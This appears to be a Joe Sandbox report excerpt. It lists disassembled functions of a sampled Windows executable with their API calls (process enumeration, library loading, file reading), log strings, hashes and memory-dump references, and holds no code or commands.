Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: CloseErrorHandleLastNextProcess32
String ID: [E] (%s) -> Process32Next failed(gle=%lu)$block_app
API String ID: 1692733154-1215713629
Opcode ID: 92e34874ae0ae98bf0a884f1fef47379aa5eb378dcd3c69f1e14fabf6c69f307
Instruction ID: 554469f5960aa8295999edea0c66cb767a06f9c0f26a2ebb98cce758b13e419a
Opcode Fuzzy Hash: 92e34874ae0ae98bf0a884f1fef47379aa5eb378dcd3c69f1e14fabf6c69f307
Instruction Fuzzy Hash: 3DF06892A8CB0785FAE477169890378AF957F45B44FC04133C50EE62F5DE3CE450A322

Function 00007FF7E3CE89E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32 ref: 00007FF7E3CE8671
GetLastError.KERNEL32 ref: 00007FF7E3CE867D
CloseHandle.KERNEL32 ref: 00007FF7E3CE8A16

Strings

[E] (%s) -> Process32Next failed(gle=%lu), xrefs: 00007FF7E3CE8694
block_app, xrefs: 00007FF7E3CE868D

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: CloseErrorHandleLastNextProcess32
String ID: [E] (%s) -> Process32Next failed(gle=%lu)$block_app
API String ID: 1692733154-1215713629
Opcode ID: bc6c4c71623ff024deb327412966a9805aff51230ecb063eae95e275db5d3ab1
Instruction ID: f35962127b92292fd0309e3006ed505f131da67c4a88dcefaf10e1695487d190
Opcode Fuzzy Hash: bc6c4c71623ff024deb327412966a9805aff51230ecb063eae95e275db5d3ab1
Instruction Fuzzy Hash: 0CF06892A8CB0785FAE477169890378AF957F45B44FC04133C50EE62F5DE3CE450A322

Function 00007FF7E3CE89D9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32 ref: 00007FF7E3CE8671
GetLastError.KERNEL32 ref: 00007FF7E3CE867D
CloseHandle.KERNEL32 ref: 00007FF7E3CE8A16

Strings

[E] (%s) -> Process32Next failed(gle=%lu), xrefs: 00007FF7E3CE8694
block_app, xrefs: 00007FF7E3CE868D

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: CloseErrorHandleLastNextProcess32
String ID: [E] (%s) -> Process32Next failed(gle=%lu)$block_app
API String ID: 1692733154-1215713629
Opcode ID: 92e1423703d3c376117564a88a64444d1e0736b766f2c3370c2fe957f1c671d4
Instruction ID: 82f92313e368d4c37654cb5b8f4b7ae8b8d14fc38fe12ab79fa8a9075f97b787
Opcode Fuzzy Hash: 92e1423703d3c376117564a88a64444d1e0736b766f2c3370c2fe957f1c671d4
Instruction Fuzzy Hash: E8F04492A8CB0785FAA477169890378AE95AF45B44FC04133C50EE62F5DE3CE550A322

Function 00007FF7E3CE1CF4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7E3CE1D02

Part of subcall function 00007FF7E3CE14E2: fwrite.MSVCRT ref: 00007FF7E3CE158E
Part of subcall function 00007FF7E3CE14E2: fflush.MSVCRT ref: 00007FF7E3CE159A

GetLastError.KERNEL32 ref: 00007FF7E3CE1D2E

Strings

[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FF7E3CE1D41
[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FF7E3CE1D1D
module_load, xrefs: 00007FF7E3CE1D16, 00007FF7E3CE1D3A

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: bc9657a6dfdbcedde1d2fd3d6a88db9a33a45d1f6bb91b054f3284ed97a3b4ff
Instruction ID: 995cf1de078664b34d8bddaf57cda142673496a81ccd686097f05067b3a25e44
Opcode Fuzzy Hash: bc9657a6dfdbcedde1d2fd3d6a88db9a33a45d1f6bb91b054f3284ed97a3b4ff
Instruction Fuzzy Hash: 22F06D14E89A0740E995BB96E8507B09E906F15780F885133C81C7A3F0EE7CE5658322

Function 00007FF7E3CE4872 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 1644c6a3bca8c6556b5bd2b4bce9513eb849d7e55eeff9f3b8f38a9682788697
Instruction ID: a0d46e0bb737ed5338424a1ca7d825dd37f1137a7f3b0ad90a50d8b28a0472b6
Opcode Fuzzy Hash: 1644c6a3bca8c6556b5bd2b4bce9513eb849d7e55eeff9f3b8f38a9682788697
Instruction Fuzzy Hash: 2DF0B413B88A0311F9D2BA06B4507B99A411F80761E8907338D0C6A7E1ED3CD893A222

Function 00007FF7E3CE4868 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: d400ccc41f07d85efbaf118e831595e6118f2ccae4f921d648a8b05ec38435d3
Instruction ID: b80da7a41bb85d097d010027fd1655213dfad704491142b105cbfff2e20cc45d
Opcode Fuzzy Hash: d400ccc41f07d85efbaf118e831595e6118f2ccae4f921d648a8b05ec38435d3
Instruction Fuzzy Hash: 8BF0B413B88A0311F9D2BA06B4407B99A412F80761E8906338D0C6A7E0DD3CD893A222

Function 00007FF7E3CE4890 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: cf8c6abc46baf002a4b94b128b505ab6eae422338a24bf55f2c9fb19bdd33895
Instruction ID: 510a1ee0f68f346dfe16cd05c9a8c47cff8248a8c1f24bf114f176afef6cee2c
Opcode Fuzzy Hash: cf8c6abc46baf002a4b94b128b505ab6eae422338a24bf55f2c9fb19bdd33895
Instruction Fuzzy Hash: 88F0B413B88A0311F9D2BA06B4407B99A411F80761E8906338D0C6A7E0DD3CD893A222

Function 00007FF7E3CE4886 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: ed571756588594b7e354bc46fc8b0e358fa8a783f3935751d38bca4c76fa4898
Instruction ID: 0203711ab5d3a2dff0a6725b8d3f146e9ae1c6e50c2f9408fba441e924679871
Opcode Fuzzy Hash: ed571756588594b7e354bc46fc8b0e358fa8a783f3935751d38bca4c76fa4898
Instruction Fuzzy Hash: DEF0B413B88A0351F9D2BA06B4407B99A411F80761E890633CD0C6A7E0DE3CE893A222

Function 00007FF7E3CE487C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: f4a81eb148b4fd358aa1d1a0855e8f9eee4966889b0d0a29dc5ee9e6c4fc2afa
Instruction ID: 4274a45109ab0f2ed210680a8b7a95ada9642b17b0f07136d70c750a90bc0784
Opcode Fuzzy Hash: f4a81eb148b4fd358aa1d1a0855e8f9eee4966889b0d0a29dc5ee9e6c4fc2afa
Instruction Fuzzy Hash: A3F0B413B88A0311F9D2BA06B4407B99A411F80761E8906338D1C6B7E1DD3CD893A222

Function 00007FF7E3CE47B2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 1644c6a3bca8c6556b5bd2b4bce9513eb849d7e55eeff9f3b8f38a9682788697
Instruction ID: a0d46e0bb737ed5338424a1ca7d825dd37f1137a7f3b0ad90a50d8b28a0472b6
Opcode Fuzzy Hash: 1644c6a3bca8c6556b5bd2b4bce9513eb849d7e55eeff9f3b8f38a9682788697
Instruction Fuzzy Hash: 2DF0B413B88A0311F9D2BA06B4507B99A411F80761E8907338D0C6A7E1ED3CD893A222

Function 00007FF7E3CE47A8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: d400ccc41f07d85efbaf118e831595e6118f2ccae4f921d648a8b05ec38435d3
Instruction ID: b80da7a41bb85d097d010027fd1655213dfad704491142b105cbfff2e20cc45d
Opcode Fuzzy Hash: d400ccc41f07d85efbaf118e831595e6118f2ccae4f921d648a8b05ec38435d3
Instruction Fuzzy Hash: 8BF0B413B88A0311F9D2BA06B4407B99A412F80761E8906338D0C6A7E0DD3CD893A222

Function 00007FF7E3CE47D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: cf8c6abc46baf002a4b94b128b505ab6eae422338a24bf55f2c9fb19bdd33895
Instruction ID: 510a1ee0f68f346dfe16cd05c9a8c47cff8248a8c1f24bf114f176afef6cee2c
Opcode Fuzzy Hash: cf8c6abc46baf002a4b94b128b505ab6eae422338a24bf55f2c9fb19bdd33895
Instruction Fuzzy Hash: 88F0B413B88A0311F9D2BA06B4407B99A411F80761E8906338D0C6A7E0DD3CD893A222

Function 00007FF7E3CE47C6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: ed571756588594b7e354bc46fc8b0e358fa8a783f3935751d38bca4c76fa4898
Instruction ID: 0203711ab5d3a2dff0a6725b8d3f146e9ae1c6e50c2f9408fba441e924679871
Opcode Fuzzy Hash: ed571756588594b7e354bc46fc8b0e358fa8a783f3935751d38bca4c76fa4898
Instruction Fuzzy Hash: DEF0B413B88A0351F9D2BA06B4407B99A411F80761E890633CD0C6A7E0DE3CE893A222

Function 00007FF7E3CE47BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: f4a81eb148b4fd358aa1d1a0855e8f9eee4966889b0d0a29dc5ee9e6c4fc2afa
Instruction ID: 4274a45109ab0f2ed210680a8b7a95ada9642b17b0f07136d70c750a90bc0784
Opcode Fuzzy Hash: f4a81eb148b4fd358aa1d1a0855e8f9eee4966889b0d0a29dc5ee9e6c4fc2afa
Instruction Fuzzy Hash: A3F0B413B88A0311F9D2BA06B4407B99A411F80761E8906338D1C6B7E1DD3CD893A222

Function 00007FF7E3CE4771 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: f4a81eb148b4fd358aa1d1a0855e8f9eee4966889b0d0a29dc5ee9e6c4fc2afa
Instruction ID: 4274a45109ab0f2ed210680a8b7a95ada9642b17b0f07136d70c750a90bc0784
Opcode Fuzzy Hash: f4a81eb148b4fd358aa1d1a0855e8f9eee4966889b0d0a29dc5ee9e6c4fc2afa
Instruction Fuzzy Hash: A3F0B413B88A0311F9D2BA06B4407B99A411F80761E8906338D1C6B7E1DD3CD893A222

Function 00007FF7E3CE4767 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7E3CE4B30

Strings

fs_file_read, xrefs: 00007FF7E3CE4B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE4B6C

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 1644c6a3bca8c6556b5bd2b4bce9513eb849d7e55eeff9f3b8f38a9682788697
Instruction ID: a0d46e0bb737ed5338424a1ca7d825dd37f1137a7f3b0ad90a50d8b28a0472b6
Opcode Fuzzy Hash: 1644c6a3bca8c6556b5bd2b4bce9513eb849d7e55eeff9f3b8f38a9682788697
Instruction Fuzzy Hash: 2DF0B413B88A0311F9D2BA06B4507B99A411F80761E8907338D0C6A7E1ED3CD893A222

